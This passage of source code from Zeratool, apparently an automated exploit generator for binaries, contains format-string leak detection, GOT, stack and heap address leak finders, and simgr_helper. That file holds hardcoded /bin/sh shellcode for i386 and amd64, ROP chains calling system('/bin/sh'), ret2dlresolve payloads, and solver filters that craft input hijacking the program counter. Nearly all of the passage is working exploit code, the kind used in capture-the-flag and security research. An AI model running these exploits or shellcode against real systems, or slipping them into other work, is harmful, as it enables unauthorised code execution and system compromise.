52 | solv = state.solver.eval 53 | 54 | # fmt_len = self._sim_strlen(fmt) 55 | # # We control format specifier and strlen isn't going to be helpful, 56 | # # just set it ourselves 57 | # if len(state.solver.eval_upto(fmt_len,2)) > 1: 58 | # while not state.satisfiable(extra_constraints=[fmt_len == max_read_len]): 59 | # max_read_len -=1 60 | # if max_read_len < 0: 61 | # raise Exception("fmt string with no length!") 62 | # state.add_constraints(fmt_len == max_read_len) 63 | 64 | if len(self.arguments) <= i: 65 | return False 66 | printf_arg = self.arguments[i] 67 | 68 | var_loc = solv(printf_arg) 69 | 70 | # Parts of this argument could be symbolic, so we need 71 | # to check every byte 72 | var_data = state.memory.load(var_loc, max_read_len) 73 | var_len = get_max_strlen(state, var_data) 74 | 75 | fmt_len = self._sim_strlen(fmt) 76 | # if len(state.solver.eval_upto(fmt_len,2)) > 1: 77 | # state.add_constraints(fmt_len == var_len) 78 | 79 | # Reload with just our max len 80 | var_data = state.memory.load(var_loc, var_len) 81 | 82 | log.info("Building list of symbolic bytes") 83 | symbolic_list = [ 84 | state.memory.load(var_loc + x, 1).symbolic for x in range(var_len) 85 | ] 86 | log.info("Done Building list of symbolic bytes") 87 | 88 | """ 89 | Iterate over the characters in the string 90 | Checking for where our symbolic values are 91 | This helps in weird cases like: 92 | 93 | char myVal[100] = "I\'m cool "; 94 | strcat(myVal,STDIN); 95 | printf(myVal); 96 | """ 97 | position = 0 98 | count = 0 99 | greatest_count = 0 100 | prev_item = symbolic_list[0] 101 | for i in range(1, len(symbolic_list)): 102 | if symbolic_list[i] and symbolic_list[i] == symbolic_list[i - 1]: 103 | count = count + 1 104 | if count > greatest_count: 105 | greatest_count = count 106 | position = i - count 107 | else: 108 | if count > greatest_count: 109 | greatest_count = count 110 | position = i - 1 - count 111 | # previous position minus greatest count 112 | count = 0 113 | log.info( 114 | "[+] Found symbolic buffer at position {} of length {}".format( 115 | position, greatest_count 116 | ) 117 | ) 118 | 119 | if greatest_count > 0: 120 | str_val = b"%lx_" 121 | if bits == 64: 122 | str_val = b"%llx_" 123 | if self.can_constrain_bytes( 124 | state, var_data, var_loc, position, var_len, strVal=str_val 125 | ): 126 | log.info("[+] Can constrain bytes") 127 | log.info("[+] Constraining input to leak") 128 | 129 | self.constrainBytes( 130 | state, 131 | var_data, 132 | var_loc, 133 | position, 134 | var_len, 135 | strVal=str_val, 136 | ) 137 | # Verify solution 138 | # stdin_str = str(state_copy.posix.dumps(0)) 139 | # user_input = self.state.globals["inputType"] 140 | # if str_val in solv(user_input): 141 | # var_value = self.state.memory.load(var_loc) 142 | # self.constrainBytes( 143 | # self.state, var_value, var_loc, position, var_value_length 144 | # ) 145 | # print("[+] Vulnerable path found {}".format(vuln_string)) 146 | user_input = state.globals["user_input"] 147 | 148 | self.state.globals["input"] = solv(user_input, cast_to=bytes) 149 | self.state.globals["type"] = "Format" 150 | self.state.globals["position"] = position 151 | self.state.globals["length"] = greatest_count 152 | 153 | return True 154 | 155 | return False 156 | 157 | def can_constrain_bytes(self, state, symVar, loc, position, length, strVal=b"%x_"): 158 | total_region = self.state.memory.load(loc, length) 159 | total_format = strVal * length 160 | # If we can constrain it all in one go, then let's do it! 161 | if state.solver.satisfiable( 162 | extra_constraints=[total_region == total_format[:length]] 163 | ): 164 | log.info("Can constrain it all, let's go!") 165 | state.add_constraints(total_region == total_format[:length]) 166 | return True 167 | 168 | for i in tqdm.tqdm(range(length), total=length, desc="Checking Constraints"): 169 | strValIndex = i % len(strVal) 170 | curr_byte = self.state.memory.load(loc + i, 1) 171 | if not state.solver.satisfiable( 172 | extra_constraints=[curr_byte == strVal[strValIndex]] 173 | ): 174 | return False 175 | return True 176 | 177 | def constrainBytes(self, state, symVar, loc, position, length, strVal=b"%x_"): 178 | 179 | total_region = self.state.memory.load(loc, length) 180 | total_format = strVal * length 181 | # If we can constrain it all in one go, then let's do it! 182 | if state.solver.satisfiable( 183 | extra_constraints=[total_region == total_format[:length]] 184 | ): 185 | log.info("Can constrain it all, let's go!") 186 | state.add_constraints(total_region == total_format[:length]) 187 | return 188 | 189 | for i in tqdm.tqdm(range(length), total=length, desc="Constraining"): 190 | strValIndex = i % len(strVal) 191 | curr_byte = self.state.memory.load(loc + i, 1) 192 | if state.solver.satisfiable( 193 | extra_constraints=[curr_byte == strVal[strValIndex]] 194 | ): 195 | state.add_constraints(curr_byte == strVal[strValIndex]) 196 | else: 197 | log.info( 198 | "[~] Byte {} not constrained to {}".format(i, strVal[strValIndex]) 199 | ) 200 | 201 | def run(self, _, fmt): 202 | if not self.checkExploitable(fmt): 203 | return super(type(self), self).run(fmt) 204 | 205 | 206 | class printf_leak_detect(angr.procedures.libc.printf.printf): 207 | IS_FUNCTION = True 208 | format_index = 0 209 | """ 210 | Checks userinput arg 211 | """ 212 | 213 | def __init__(self, format_index): 214 | # Set user input index for different 215 | # printf types 216 | self.format_index = format_index 217 | super(type(self), self).__init__() 218 | 219 | def check_for_leak(self, fmt): 220 | 221 | bits = self.state.arch.bits 222 | load_len = int(bits / 8) 223 | max_read_len = 1024 224 | """ 225 | For each value passed to printf 226 | Check to see if there are any symbolic bytes 227 | Passed in that we control 228 | """ 229 | state = self.state 230 | p = self.state.project 231 | elf = ELF(state.project.filename) 232 | 233 | fmt_str = self._parse(fmt) 234 | 235 | for component in fmt_str.components: 236 | 237 | # We only want format specifiers 238 | if ( 239 | isinstance(component, bytes) 240 | or isinstance(component, str) 241 | or isinstance(component, claripy.ast.BV) 242 | ): 243 | continue 244 | 245 | printf_arg = component 246 | 247 | fmt_spec = component 248 | 249 | i_val = self.va_arg("void*") 250 | 251 | c_val = int(state.solver.eval(i_val)) 252 | c_val &= (1 << (fmt_spec.size * 8)) - 1 253 | if fmt_spec.signed and (c_val & (1 << ((fmt_spec.size * 8) - 1))): 254 | c_val -= 1 << fmt_spec.size * 8 255 | 256 | if fmt_spec.spec_type in (b"d", b"i"): 257 | s_val = str(c_val) 258 | elif fmt_spec.spec_type == b"u": 259 | s_val = str(c_val) 260 | elif fmt_spec.spec_type == b"c": 261 | s_val = chr(c_val & 0xFF) 262 | elif fmt_spec.spec_type == b"x": 263 | s_val = hex(c_val)[2:] 264 | elif fmt_spec.spec_type == b"o": 265 | s_val = oct(c_val)[2:] 266 | elif fmt_spec.spec_type == b"p": 267 | s_val = hex(c_val) 268 | else: 269 | log.warning("Unimplemented format specifier '%s'" % fmt_spec.spec_type) 270 | continue 271 | 272 | if isinstance(fmt_spec.length_spec, int): 273 | s_val = s_val.rjust(fmt_spec.length_spec, fmt_spec.pad_chr) 274 | 275 | var_addr = c_val 276 | 277 | # Are any pointers GOT addresses? 278 | for name, addr in elf.got.items(): 279 | if var_addr == addr: 280 | log.info("[+] Printf leaked GOT {}".format(name)) 281 | state.globals["leaked_type"] = "function" 282 | state.globals["leaked_func"] = name 283 | state.globals["leaked_addr"] = var_addr 284 | 285 | # Input to leak 286 | user_input = state.globals["user_input"] 287 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 288 | 289 | state.globals["leak_input"] = input_bytes 290 | state.globals["leak_output"] = state.posix.dumps(1) 291 | return True 292 | # Heap and stack addrs should be in a heap or stack 293 | # segment, but angr doesn't map those segments so the 294 | # below call will not work 295 | # found_obj = p.loader.find_segment_containing(var_addr) 296 | 297 | # Check for stack address leak 298 | # So we have a dumb check to see if it's a stack addr 299 | stack_ptr = state.solver.eval(state.regs.sp) 300 | 301 | var_addr_mask = var_addr >> 28 302 | stack_ptr_mask = stack_ptr >> 28 303 | 304 | if var_addr_mask == stack_ptr_mask: 305 | log.info("[+] Leaked a stack addr : {}".format(hex(var_addr))) 306 | state.globals["leaked_type"] = "stack_address" 307 | state.globals["leaked_addr"] = var_addr 308 | 309 | # Input to leak 310 | user_input = state.globals["user_input"] 311 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 312 | 313 | input_bytes = get_trimmed_input(user_input, state) 314 | 315 | state.globals["leak_input"] = input_bytes 316 | state.globals["leak_output"] = state.posix.dumps(1) 317 | # Check tracked malloc addrs 318 | if "stored_malloc" in self.state.globals.keys(): 319 | for addr in self.state.globals["stored_malloc"]: 320 | if addr == var_addr: 321 | log.info("[+] Leaked a heap addr : {}".format(hex(var_addr))) 322 | state.globals["leaked_type"] = "heap_address" 323 | state.globals["leaked_addr"] = var_addr 324 | 325 | # Input to leak 326 | user_input = state.globals["user_input"] 327 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 328 | 329 | state.globals["leak_input"] = input_bytes 330 | state.globals["leak_output"] = state.posix.dumps(1) 331 | 332 | def run(self, fmt): 333 | """ 334 | Iterating over the va_args checking for a leak 335 | will consume them and prevent us from printing 336 | normally, so we need to make a copy. 337 | """ 338 | try: 339 | va_args_copy = copy.deepcopy(self) 340 | except: 341 | # Just bail out 342 | return super(type(self), self).run(fmt) 343 | 344 | va_args_copy.check_for_leak(fmt) 345 | 346 | return super(type(self), self).run(fmt) 347 | -------------------------------------------------------------------------------- /zeratool/protectionDetector.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import logging 3 | 4 | log = logging.getLogger(__name__) 5 | 6 | 7 | def getProperties(binary_name): 8 | 9 | properties = {} 10 | binary = ELF(binary_name) 11 | properties["aslr"] = binary.aslr 12 | properties["arch"] = binary.arch 13 | properties["canary"] = binary.canary 14 | properties["got"] = binary.got 15 | properties["nx"] = binary.nx 16 | properties["pie"] = binary.pie 17 | properties["plt"] = binary.plt 18 | properties["relro"] = binary.relro 19 | 20 | return properties 21 | -------------------------------------------------------------------------------- /zeratool/puts_model.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import angr 3 | import claripy 4 | import tqdm 5 | import logging 6 | 7 | log = logging.getLogger(__name__) 8 | 9 | 10 | class putsFormat(angr.procedures.libc.puts.puts): 11 | IS_FUNCTION = True 12 | 13 | def check_for_leak(self, string): 14 | 15 | state = self.state 16 | 17 | if state.globals["needs_leak"] or True: 18 | # string should be a ptr, we are going to check 19 | # to see if it's pointing to a got entry 20 | elf = ELF(state.project.filename) 21 | string_addr = state.solver.eval(string) 22 | for name, addr in elf.got.items(): 23 | if string_addr == addr: 24 | log.info("[+] Puts leaked {}".format(name)) 25 | state.globals["output_before_leak"] = state.posix.dumps(1) 26 | state.globals["leaked_func"] = name 27 | # return True 28 | 29 | return False 30 | 31 | def run(self, string): 32 | self.check_for_leak(string) 33 | 34 | # Wait till angr #3026 gets merged, then change it back 35 | # to 36 | # return super(type(self), self).run(string) 37 | 38 | stdout = self.state.posix.get_fd(1) 39 | if stdout is None: 40 | return -1 41 | 42 | strlen = angr.SIM_PROCEDURES["libc"]["strlen"] 43 | length = self.inline_call(strlen, string).ret_expr 44 | out = stdout.write(string, length) 45 | stdout.write_data(self.state.solver.BVV(b"\n")) 46 | return out + 1 47 | -------------------------------------------------------------------------------- /zeratool/radare_helper.py: -------------------------------------------------------------------------------- 1 | import r2pipe 2 | import json 3 | import os 4 | import logging 5 | 6 | log = logging.getLogger(__name__) 7 | 8 | 9 | def getRegValues(filename, endAddr=None): 10 | 11 | r2 = r2pipe.open(filename, flags=["-d"]) 12 | # r2.cmd("doo") 13 | if endAddr: 14 | r2.cmd("dcu {}".format(endAddr)) 15 | else: 16 | r2.cmd("e dbg.bep=entry") 17 | entry_addr = json.loads(r2.cmd("iej"))[0]["vaddr"] 18 | r2.cmd("dcu {}".format(entry_addr)) 19 | # drj command is broken in r2 right now 20 | # so use drrj 21 | regs = json.loads(r2.cmd("drrj")) 22 | regs = dict([(x["reg"], int(x["value"], 16)) for x in regs if x["reg"] != "rflags" and x["reg"] != "eflags"]) 23 | r2.quit() 24 | return regs 25 | 26 | 27 | def get_base_addr(filename): 28 | 29 | r2 = r2pipe.open(filename) 30 | r2.cmd("doo") 31 | base_addr = json.loads(r2.cmd("iMj"))["vaddr"] 32 | r2.quit() 33 | return base_addr 34 | 35 | 36 | """ 37 | This is so hacky. I'm sorry 38 | It's also only for stdin 39 | """ 40 | 41 | 42 | def findShellcode(filename, endAddr, shellcode, commandInput): 43 | 44 | hex_str = shellcode[:4] 45 | hex_str = "".join([hex(x).replace("0x", "") for x in hex_str]) 46 | 47 | abs_path = os.path.abspath(filename) 48 | 49 | # If you know a better way to direct stdin please let me know 50 | os.system("env > temp.env") 51 | with open("command.input", "wb") as f: 52 | f.write(commandInput) 53 | with open("temp.rr2", "w") as f: 54 | # f.write( 55 | # "program={}\nstdin=command.input\nenvfile={}\n".format(filename, "temp.env") 56 | # ) 57 | f.write( 58 | "program={}\nstdin=command.input\nclearenv=true\nenvfile={}\n".format( 59 | abs_path, "temp.env" 60 | ) 61 | ) 62 | 63 | r2 = r2pipe.open(filename) 64 | r2.cmd("e dbg.profile = temp.rr2") 65 | r2.cmd("ood") 66 | r2.cmd("dcu {}".format(endAddr)) 67 | r2.cmd("s ebp") 68 | r2.cmd("e search.maxhits =1") 69 | r2.cmd("e search.in=dbg.map") # Need to specify this for r2pipe 70 | 71 | loc = json.loads(r2.cmd("/xj {}".format(hex_str))) 72 | # Cleaning up 73 | if os.path.exists("command.input"): 74 | os.remove("command.input") 75 | if os.path.exists("temp.rr2"): 76 | os.remove("temp.rr2") 77 | if os.path.exists("temp.env"): 78 | os.remove("temp.env") 79 | 80 | return loc[0] 81 | -------------------------------------------------------------------------------- /zeratool/remote_libc.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import logging 4 | 5 | log = logging.getLogger(__name__) 6 | 7 | 8 | def get_remote_libc_with_leaks(symbols): 9 | """ 10 | Expecting symbols like: 11 | symbols = {"symbols" :{ 12 | "strncpy": "db0", 13 | "strcat": "0x000000000d800" 14 | } 15 | } 16 | """ 17 | 18 | url = "https://libc.rip/api/find" 19 | headers = {"Content-Type": "application/json"} 20 | 21 | data = json.dumps(symbols) 22 | 23 | resp = requests.post(url, headers=headers, data=data) 24 | 25 | if resp.status_code != 200: 26 | log.error("Got response {} from {}".format(resp.status_code, url)) 27 | return None 28 | 29 | resp_dict = json.loads(resp.content) 30 | log.info("Matched {} possible libc".format(len(resp_dict))) 31 | 32 | return resp_dict 33 | -------------------------------------------------------------------------------- /zeratool/simgr_helper.py: -------------------------------------------------------------------------------- 1 | import claripy 2 | from .radare_helper import findShellcode 3 | from .remote_libc import get_remote_libc_with_leaks 4 | import angr 5 | from pwn import * 6 | import logging 7 | 8 | logging.getLogger("pwnlib.elf.elf").disabled = True 9 | 10 | log = logging.getLogger(__name__) 11 | 12 | is_printable = False 13 | 14 | 15 | def constrainToAddress(state, sym_val, addr, endian="little"): 16 | 17 | bits = state.arch.bits 18 | padded_addr = 0 19 | 20 | if bits == 32: 21 | padded_addr = p32(addr, endian=endian) 22 | elif bits == 64: 23 | botAddr = addr & 0xFFFFFFFF 24 | topAddr = (addr >> 32) & 0xFFFFFFFF 25 | padded_addr = p32(topAddr, endian=endian) + p32(botAddr, endian=endian) 26 | 27 | constraints = [] 28 | for i in range(bits / 8): 29 | curr_byte = sym_val.get_byte(i) 30 | constraint = claripy.And(curr_byte == padded_addr[i]) 31 | if state.se.satisfiable(extra_constraints=[constraint]): 32 | constraints.append(constraint) 33 | 34 | return constraints 35 | 36 | 37 | def getShellcode(properties): 38 | context.arch = properties["protections"]["arch"] 39 | context.bits = 32 40 | 41 | if context.arch == "i386": # /bin/sh shellcode - 23 bytes 42 | shellcode = ( 43 | b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" 44 | + b"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 45 | ) 46 | elif context.arch == "amd64": # /bin/sh shellcode - 23 bytes 47 | context.bits = 64 48 | shellcode = ( 49 | b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" 50 | + b"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" 51 | ) 52 | else: 53 | assembly = shellcraft.sh() # This works, but the shellcode is usually long 54 | shellcode = asm(assembly) 55 | return shellcode 56 | 57 | 58 | def get_leak_rop_chain(properties, leak_num=-1): 59 | context.binary = properties["file"] 60 | elf = ELF(properties["file"]) 61 | rop = ROP(elf) 62 | 63 | print_functions = ["puts", "printf"] 64 | leak_function = list(elf.got)[leak_num] 65 | log.debug("elf.got : {}".format(elf.got)) 66 | log.debug("Leaking {}".format(leak_function)) 67 | 68 | ret_func = None 69 | 70 | # Find the function we want to call 71 | # Just puts for right now 72 | for function in print_functions: 73 | log.debug(function) 74 | log.debug(elf.plt) 75 | if function in elf.plt: 76 | ret_func = elf.plt[function] 77 | break 78 | elif function in elf.symbols: 79 | ret_func = elf.symbols[function] 80 | break 81 | if ret_func is None: 82 | raise RuntimeError("Cannot find symbol to return to") 83 | 84 | # chain is even number, so need to align for movabs 85 | if not properties["sp_is_16bit_aligned"]: 86 | log.info("sp is aligned 16bit") 87 | rop.raw(rop.ret.address) 88 | 89 | rop.call(ret_func, [elf.got[leak_function]]) 90 | 91 | retrigger_addr = properties.get("vulnerable_function", None) 92 | 93 | if retrigger_addr: # Retrigger exploit 94 | rop.call(retrigger_addr.rebased_addr) 95 | elif "main" in elf.symbols: 96 | rop.call(elf.symbols["main"]) 97 | else: 98 | log.error("No main symbol exposed, can't auto call") 99 | 100 | log.info("\n{}".format(rop.dump())) 101 | 102 | return rop, rop.build() 103 | 104 | 105 | def choose_data_addr(elf, symbol): 106 | # Try to find an offset that works with the version addr 107 | # The offset for the ElfSym (size 0x10) from .DynSym needs to be in a writable section 108 | # and the offset from DT_VERSYM (size 2) needs to point to a half-word that isn't too large 109 | # Otherwise we will get a segfault 110 | # We can't go beyond mapped memory of libc which l_info is close to, the value we read 111 | # will get multiplied by 0x10 and added to the base of l_versions so it needs to be less than 112 | # and an upper limit i've seen is ~0x600, so we would need bytes less than 0x60 113 | 114 | elf_load_address_fixup = elf.address - elf.load_addr 115 | symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + elf_load_address_fixup 116 | versym = elf.dynamic_value_by_tag("DT_VERSYM") + elf_load_address_fixup 117 | bss = elf.get_section_by_name(".bss").header.sh_addr + elf_load_address_fixup 118 | start_search_addr = bss + len(symbol + b"\x00") 119 | # End at the end of the page 120 | end_search_addr = (bss + 0x1000) & ~0xFFF 121 | recommend_addr = start_search_addr 122 | for a in range(start_search_addr, end_search_addr, 2): 123 | index = align(0x10, a - symtab) // 0x10 124 | version_addr = versym + (2 * index) 125 | # Get bytes 126 | b = elf.read(version_addr, 2) 127 | val = int.from_bytes(b, "little") 128 | if val < 0x60: 129 | recommend_addr = a 130 | break 131 | return recommend_addr 132 | 133 | 134 | def get_dlresolve_rop_chain(properties, state, data_addr=None): 135 | 136 | context.binary = properties["file"] 137 | elf = ELF(properties["file"]) 138 | rop = ROP(elf) 139 | 140 | log.info("Trying dlresolve chain") 141 | 142 | context.arch = "amd64" 143 | dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"]) 144 | 145 | # data_addr = choose_data_addr(elf, b"system") 146 | 147 | # log.info("{} : {}".format(hex(data_addr), hex(dlresolve.data_addr))) 148 | 149 | if data_addr: 150 | dlresolve.data_addr = data_addr 151 | 152 | if "read" in elf.plt: 153 | rop.call("read", [0, dlresolve.data_addr]) 154 | elif "gets" in elf.plt: 155 | rop.call("gets", [dlresolve.data_addr]) 156 | # rop.read(0, dlresolve.data_addr) 157 | # rop.read(0, dlresolve.data_addr, len(dlresolve.payload)) 158 | 159 | rop.ret2dlresolve(dlresolve) 160 | 161 | log.info("rop chain gadgets and values:\n{}".format(rop.dump())) 162 | 163 | """ 164 | We need both the generated chain and gadget addresses for when 165 | we contrain theprogram state to execute and constrain this chain, 166 | so we pass back both the rop tools refernce along with the chain. 167 | """ 168 | return dlresolve, rop, rop.build() 169 | 170 | 171 | def get_rop_chain(properties, state=None): 172 | context.binary = properties["file"] 173 | elf = ELF(properties["file"]) 174 | rop = ROP(elf) 175 | 176 | strings = [b"/bin/sh\x00", b"/bin/bash\x00"] 177 | functions = ["execve", "system"] 178 | 179 | ret_func = None 180 | ret_string = None 181 | 182 | if properties.get("force_dlresolve", False): 183 | log.info("Forcing dlresolve chain") 184 | return get_dlresolve_rop_chain(properties, state) 185 | 186 | # Find the function we want to call 187 | for function in functions: 188 | if function in elf.plt: 189 | ret_func = elf.plt[function] 190 | break 191 | elif function in elf.symbols: 192 | ret_func = elf.symbols[function] 193 | break 194 | 195 | # Find the string we want to pass it 196 | for string in strings: 197 | str_occurences = list(elf.search(string)) 198 | if str_occurences: 199 | ret_string = str_occurences[0] 200 | break 201 | 202 | # If we can't find our symbols and string in the binary 203 | # we may need to check our libc bin 204 | if properties.get("libc", None): 205 | 206 | log.info("[~] Provided libc, using leak and lib to build chain") 207 | 208 | if isinstance(properties["libc"], dict): 209 | log.info("Trying remote libc offsets") 210 | remote_libc = properties["libc"]["remote_libc"][0] 211 | 212 | symbols = remote_libc["symbols"] 213 | ret_func = int(symbols["system"], 16) + properties["libc_base_address"] 214 | ret_string = ( 215 | int(symbols["str_bin_sh"], 16) + properties["libc_base_address"] 216 | ) 217 | else: 218 | libc = ELF(properties["libc"]) 219 | # Set libc loaded address 220 | libc.address = properties["libc_base_address"] 221 | 222 | # Find the function we want to call 223 | for function in functions: 224 | if function in libc.plt: 225 | ret_func = libc.plt[function] 226 | break 227 | elif function in libc.symbols: 228 | ret_func = libc.symbols[function] 229 | break 230 | 231 | # Find the string we want to pass it 232 | for string in strings: 233 | str_occurences = list(libc.search(string)) 234 | if str_occurences: 235 | ret_string = str_occurences[0] 236 | break 237 | rop = ROP(libc) 238 | 239 | if not ret_func: 240 | log.warning("Cannot find symbol to return to") 241 | return get_dlresolve_rop_chain(properties, state) 242 | if not ret_string: 243 | log.warning("Cannot find string to pass to system or exec call") 244 | return get_dlresolve_rop_chain(properties, state) 245 | 246 | # chain is odd number, so need to align for movabs 247 | if properties["sp_is_16bit_aligned"]: 248 | log.info("sp is aligned 16bit") 249 | rop.raw(rop.ret.address) 250 | 251 | if properties.get("libc", None): 252 | rop.call(ret_func, [ret_string]) 253 | # rop.call(ret_func, [ret_string, 0, 0]) 254 | else: 255 | # If we don't have libc we probably don't have all the nice 256 | # gadgets 257 | rop.call(ret_func, [ret_string]) 258 | 259 | log.info("\n{}".format(rop.dump())) 260 | 261 | return None, rop, rop.build() 262 | 263 | 264 | def find_symbolic_buffer(state, length, arg=None): 265 | """ 266 | dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's 267 | control 268 | """ 269 | # get all the symbolic bytes from stdin 270 | user_input = state.globals["user_input"] 271 | 272 | sym_addrs = [] 273 | sym_addrs.extend(state.memory.addrs_for_name(next(iter(user_input.variables)))) 274 | 275 | for addr in sym_addrs: 276 | if check_continuity(addr, sym_addrs, length): 277 | yield addr 278 | 279 | 280 | def check_continuity(address, addresses, length): 281 | """ 282 | dumb way of checking if the region at 'address' contains 'length' amount of controlled 283 | memory. 284 | """ 285 | 286 | for i in range(length): 287 | if not address + i in addresses: 288 | return False 289 | 290 | return True 291 | 292 | 293 | def overflow_detect_filter(simgr): 294 | 295 | for state in simgr.active: 296 | if state.globals.get("type", None) == "overflow_variable": 297 | log.info("Found vulnerable state. Overflow variable to win") 298 | user_input = state.globals["user_input"] 299 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 300 | log.info("[+] Vulnerable path found {}".format(input_bytes)) 301 | state.globals["type"] = "overflow_variable" 302 | state.globals["input"] = input_bytes 303 | simgr.stashes["found"].append(state) 304 | simgr.stashes["active"].remove(state) 305 | return simgr 306 | 307 | for state in simgr.unconstrained: 308 | bits = state.arch.bits 309 | num_count = bits / 8 310 | pc_value = b"C" * int(num_count) 311 | 312 | # Check satisfiability 313 | if state.solver.satisfiable(extra_constraints=[state.regs.pc == pc_value]): 314 | 315 | state.add_constraints(state.regs.pc == pc_value) 316 | user_input = state.globals["user_input"] 317 | 318 | log.info("Found vulnerable state.") 319 | 320 | if is_printable: 321 | log.info("Constraining input to be printable") 322 | for c in user_input.chop(8): 323 | constraint = claripy.And(c > 0x2F, c < 0x7F) 324 | if state.solver.satisfiable([constraint]): 325 | state.add_constraints(constraint) 326 | 327 | # Get input values 328 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 329 | log.info("[+] Vulnerable path found {}".format(input_bytes)) 330 | if b"CCCC" in input_bytes: 331 | log.info("[+] Offset to bytes : {}".format(input_bytes.index(b"CCCC"))) 332 | state.globals["type"] = "Overflow" 333 | state.globals["input"] = input_bytes 334 | simgr.stashes["found"].append(state) 335 | simgr.stashes["unconstrained"].remove(state) 336 | break 337 | 338 | return simgr 339 | 340 | 341 | def point_to_win_filter(simgr): 342 | 343 | for state in simgr.unconstrained: 344 | properties = state.globals["properties"] 345 | 346 | for func in properties["win_functions"]: 347 | address = properties["win_functions"][func]["fcn_addr"] 348 | 349 | log.info("Trying {}".format(hex(address))) 350 | 351 | # Check satisfiability 352 | if state.solver.satisfiable(extra_constraints=[state.regs.pc == address]): 353 | state.add_constraints(state.regs.pc == address) 354 | user_input = state.globals["user_input"] 355 | 356 | if is_printable: 357 | log.info("Constraining input to be printable") 358 | for c in user_input.chop(8): 359 | constraint = claripy.And(c > 0x2F, c < 0x7F) 360 | if state.solver.satisfiable([constraint]): 361 | state.add_constraints(constraint) 362 | 363 | # Get the string coming into STDIN 364 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 365 | log.info("[+] Vulnerable path found {}".format(input_bytes)) 366 | state.globals["type"] = "Overflow" 367 | state.globals["input"] = input_bytes 368 | simgr.stashes["found"].append(state) 369 | simgr.stashes["unconstrained"].remove(state) 370 | return simgr 371 | 372 | return simgr 373 | 374 | 375 | def point_to_shellcode_filter(simgr): 376 | for state in simgr.unconstrained: 377 | properties = state.globals["properties"] 378 | shellcode = getShellcode(properties) 379 | using_run_time_leak = False 380 | 381 | # Find potential addresses for shellcode 382 | addresses = [x for x in find_symbolic_buffer(state, len(shellcode))] 383 | if len(addresses): 384 | list.sort(addresses) 385 | 386 | # Build shellcode and check for bad chars 387 | avoidList = [] 388 | for i, address in enumerate(addresses): 389 | my_buf = state.memory.load(address, len(shellcode)) 390 | if not state.satisfiable(extra_constraints=([my_buf == shellcode])): 391 | log.info("[~] Shellcode can't be placed. Checking for bad bytes.") 392 | for i in range(len(shellcode)): 393 | curr_byte = state.memory.load(address + i, 1) 394 | if state.satisfiable( 395 | extra_constraints=([curr_byte == shellcode[i]]) 396 | ): 397 | pass 398 | # log.info("[+] Byte {} Can be {}".format(i,repr(shellcode[i]))) 399 | else: 400 | log.info( 401 | "[-] Address {} Byte {} Can't be {}".format( 402 | hex(address + i), i, repr(shellcode[i]) 403 | ) 404 | ) 405 | avoidList.append(shellcode[i]) 406 | log.info("Avoiding : {}".format(avoidList)) 407 | log.info("Old shellcode: {} {}".format(len(shellcode), repr(shellcode))) 408 | try: 409 | shellcode = encoders.encode(shellcode, avoidList) 410 | log.info( 411 | "New shellcode: {} {}".format(len(shellcode), repr(shellcode)) 412 | ) 413 | except PwnlibException: 414 | log.info( 415 | "[-] Unable to encode shellcode to avoid {}".format(avoidList) 416 | ) 417 | except TypeError: 418 | raise RuntimeError( 419 | "Pwntools encoders not ported to python3. Can't encode shellcode to avoid bad byte" 420 | ) 421 | break 422 | 423 | # addresses = [x for x in find_symbolic_buffer(state,len(shellcode))] 424 | log.info("Trying addresses : {}".format(addresses)) 425 | # Iterate over addresses looking for a winner 426 | for address in addresses: 427 | log.info("Trying address {}".format(hex(address))) 428 | 429 | # Setup shellcode 430 | memory = state.memory.load(address, len(shellcode)) 431 | shellcode_bvv = state.solver.BVV(shellcode) 432 | 433 | if "leaked_type" in state.globals: 434 | log.info("We have a leak, let's try and use that") 435 | 436 | # Either this is a call during a real run or 437 | # we're still detecting 438 | if "run_leak" in properties["pwn_type"]: 439 | address = properties["pwn_type"]["run_leak"] 440 | # Trust that this leak points to something good 441 | using_run_time_leak = True 442 | 443 | constraint = claripy.And(memory == shellcode_bvv, state.regs.pc == address) 444 | 445 | # Check satisfiability 446 | if state.solver.satisfiable(extra_constraints=[constraint]): 447 | log.info("[+] Win") 448 | state.add_constraints(constraint) 449 | 450 | user_input = state.globals["user_input"] 451 | 452 | if is_printable: 453 | log.info("Constraining input to be printable") 454 | for c in user_input.chop(8): 455 | constraint = claripy.And(c > 0x2F, c < 0x7F) 456 | if state.solver.satisfiable([constraint]): 457 | state.add_constraints(constraint) 458 | 459 | # Get the string coming into STDIN 460 | input_bytes = state.solver.eval( 461 | user_input, cast_to=bytes, extra_constraints=[constraint] 462 | ) 463 | 464 | log.info("[+] Vulnerable path found {}".format(input_bytes)) 465 | state.globals["type"] = "Overflow" 466 | state.globals["input"] = input_bytes 467 | simgr.stashes["found"].append(state) 468 | return simgr 469 | 470 | return simgr 471 | 472 | 473 | def do_leak_with_ropchain_constrain( 474 | elf, rop_chain, new_state, is_32bit=False, dlresolve=None 475 | ): 476 | """ 477 | This is a more traditional build and constrain payload that looks for 478 | an offset from the initial input and starts placing a rop chain there. 479 | 480 | This method is a pain in the butt to debug, so I'd encourage doing the 481 | leak with stepping so we know when a gaget breaks, but if the other one 482 | is breaking, you can try this one. 483 | """ 484 | log.debug("Constraining input to rop chain without single stepping") 485 | user_input = new_state.globals["user_input"] 486 | 487 | if is_32bit: 488 | rop_chain_bytes = [x if isinstance(x, int) else u32(x) for x in rop_chain] 489 | rop_chain_bytes = b"".join([p32(x) for x in rop_chain_bytes]) 490 | pc_index = 3 491 | else: 492 | rop_chain_bytes = [x if isinstance(x, int) else u64(x) for x in rop_chain] 493 | rop_chain_bytes = b"".join([p64(x) for x in rop_chain_bytes]) 494 | pc_index = 7 495 | 496 | bytes_iter = 0 497 | offset = 0 498 | 